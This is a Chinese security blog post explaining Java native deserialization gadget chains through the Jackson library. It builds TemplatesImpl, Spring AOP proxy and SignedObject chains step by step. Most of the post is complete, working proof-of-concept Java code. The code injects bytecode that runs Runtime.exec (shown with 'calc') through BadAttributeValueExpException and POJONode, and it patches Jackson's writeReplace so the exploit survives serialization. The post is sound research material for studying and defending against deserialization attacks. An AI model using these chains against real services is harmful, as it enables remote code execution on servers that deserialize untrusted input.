Jackson原生反序列化

前面说到了在fastjson中的原生的一个反序列化调用任意类的getter方法的原理与细节,既然在fastjson中存在有这样的原生反序列化,在另一个和他功能类似的开源库jackson也有着类似的原生反序列化触发getter方法。

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.3</version>
</dependency>

jackson的基本用法

我们还是先写一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class User {
private String username;
private String password;
public User() {
System.out.println("调用了无参方法");
}

public User(String username, String password) {
System.out.println("调用了有参方法");
this.username = username;
this.password = password;
}

public String getUsername() {
System.out.println("调用了getUsername方法");
return username;
}

public String getPassword() {
System.out.println("调用了getPassword方法");
return password;
}

public void setUsername(String username) {
System.out.println("调用了setUsername方法");
this.username = username;
}

public void setPassword(String password) {
System.out.println("调用了setPassword方法");
this.password = password;
}
}

然后test类:

1
2
3
4
5
6
7
8
9
10
11
import com.fasterxml.jackson.databind.ObjectMapper;

public class test {
public static void main(String[] args) throws Exception {
User user = new User("Infernity", "123456");
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(user);
System.out.println(json);
User other = mapper.readValue(json, User.class);
}
}

1

可以看到,在序列化的时候调用了getter方法,在反序列化的时候调用了无参构造方法和setter方法。

简单的认识一下Jackson的序列化触发getter的流程

在序列化的地方下个断点。也就是writeValueAsString方法,记住这个方法。

main

writeValueAsString

中间部分就跳过了,大致的调用栈是这样的:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)

serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)

serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)

_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)

serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)

_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)

writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

说一下最后的几个函数

BeanSerializer#serialize:

serialize

首先是调用writeStartObject方法写入{字符,之后中间是对Bean对象的属性值的一些构造,最后是调用writeEndObject方法写入}字符,而在BeanSerializerBase#serializeFields方法中

serializeFields

跟进serializeAsField方法。

serializeAsField

这里就是是对Bean类中的所有属性值的写入了。也就是在这里调用了getter方法。这里再次步进就会到User的getUsername方法了。

TemplatesImpl链

所以只要进入writeValueAsString方法,就可以调用任意getter方法了,最经典的getter就是TemplatesImpl.getOutputProperties方法。

看到BaseJsonNode类的toString方法,

toString

跟进InternalNodeMapper类的nodeToString方法,

nodeToString

这不就是writeValueAsString方法吗?

由于BaseJsonNode是抽象类,我们找他的子类,而且没有重写toString方法的子类就可以了。

找到了POJONode类,这里的继承关系是:

POJONode->ValueNode->BaseJsonNode

现在我们只需要触发toString就可以了,很容易想到BadAttributeValueExpException这条链。

那么poc就构造好了。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = getshortclass("calc");
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

POJONode pojoNode = new POJONode(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException, "val", pojoNode);

String a = serialize(badAttributeValueExpException);
unserialize(a);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

2

问题

别高兴太早,我发现这里计算器不是unserialize函数造成的,而是在序列化的时候就弹了。

同时伴随着这样的报错:

Failed to JDK serialize POJONode value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl[“outputProperties”])

看到报错StackTrace

error

invokeWriteReplace

invokeWriteReplace判断writeReplaceMethod是否存在,存在则调用

writeReplaceMethod

进入这个方法之后就会报错了。那我们直接把这个方法删了。

1
2
3
4
5
6
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws Exception {
overrideJackson();
byte[] bytes = getshortclass("calc");
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

POJONode pojoNode = new POJONode(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException, "val", pojoNode);

String a = serialize(badAttributeValueExpException);
//System.out.println(a);
unserialize(a);
}
//重写jackson
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

3

现在没有反序列化的时候没有报错也没有弹计算器了。

4

JACKSON 链的不稳定性

当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。

我们的目的应该是让代理类仅仅包含我们需要的方法 getOutputProperties。

查看 TemplatesImpl 实现的 javax.xml.transform.Templates 这个接口。可以看到它只有一个 getter 方法,就是我们需要的 getOutputProperties 方法。

  1. 构造一个 JdkDynamicAopProxy 类型的对象,将 TemplatesImpl 类型的对象设置为 targetSource
  2. 使用这个 JdkDynamicAopProxy 类型的对象构造一个代理类,代理 javax.xml.transform.Templates 接口
  3. JSON 序列化库只能从这个 JdkDynamicAopProxy 类型的对象上找到 getOutputProperties 方法
  4. 通过代理类的 invoke 机制,触发 TemplatesImpl#getOutputProperties 方法,实现恶意类加载

详见https://xz.aliyun.com/news/12292

1
2
3
4
5
6
7
8
9
10
11
//获取进行了动态代理的templatesImpl,保证触发getOutput
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
return proxyObj;
}

SignedObject链

之前讲Hessian2+SignedObject二次反序列化的时候说过:

5

既然是getter方法,那么也可以被jackson链调用。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws Exception {
overrideJackson();
byte[] bytes = getshortclass("calc");
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
Object obj = getPOJONodeStableProxy(templates);

POJONode pojoNode = new POJONode(obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException, "val", pojoNode);

//二次反序列化
SignedObject signedObject = second_serialize(badAttributeValueExpException);

POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException2 = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException2, "val", pojoNode2);

String a = serialize(badAttributeValueExpException2);
System.out.println(a);
unserialize(a);
}

public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
return signedObject;
}

//获取进行了动态代理的templatesImpl,保证触发getOutput
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
return proxyObj;
}

//重写jackson
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

参考文章

https://xz.aliyun.com/news/11955?time__1311=eqUxuQDti%3DoDqGKitD%2FCn4CQFDOQ1qD9GGoD&u_atoken=d307b6dcbc7dbb442ad22ba39f1f261e&u_asig=1a0c399f17411523219362408e0043

https://github.com/p4d0rn/Java_Zoo/blob/main/Deserial/jackson.md


Jackson原生反序列化
http://example.com/2025/03/05/Jackson原生反序列化/
作者
Infernity
发布于
2025年3月5日
许可协议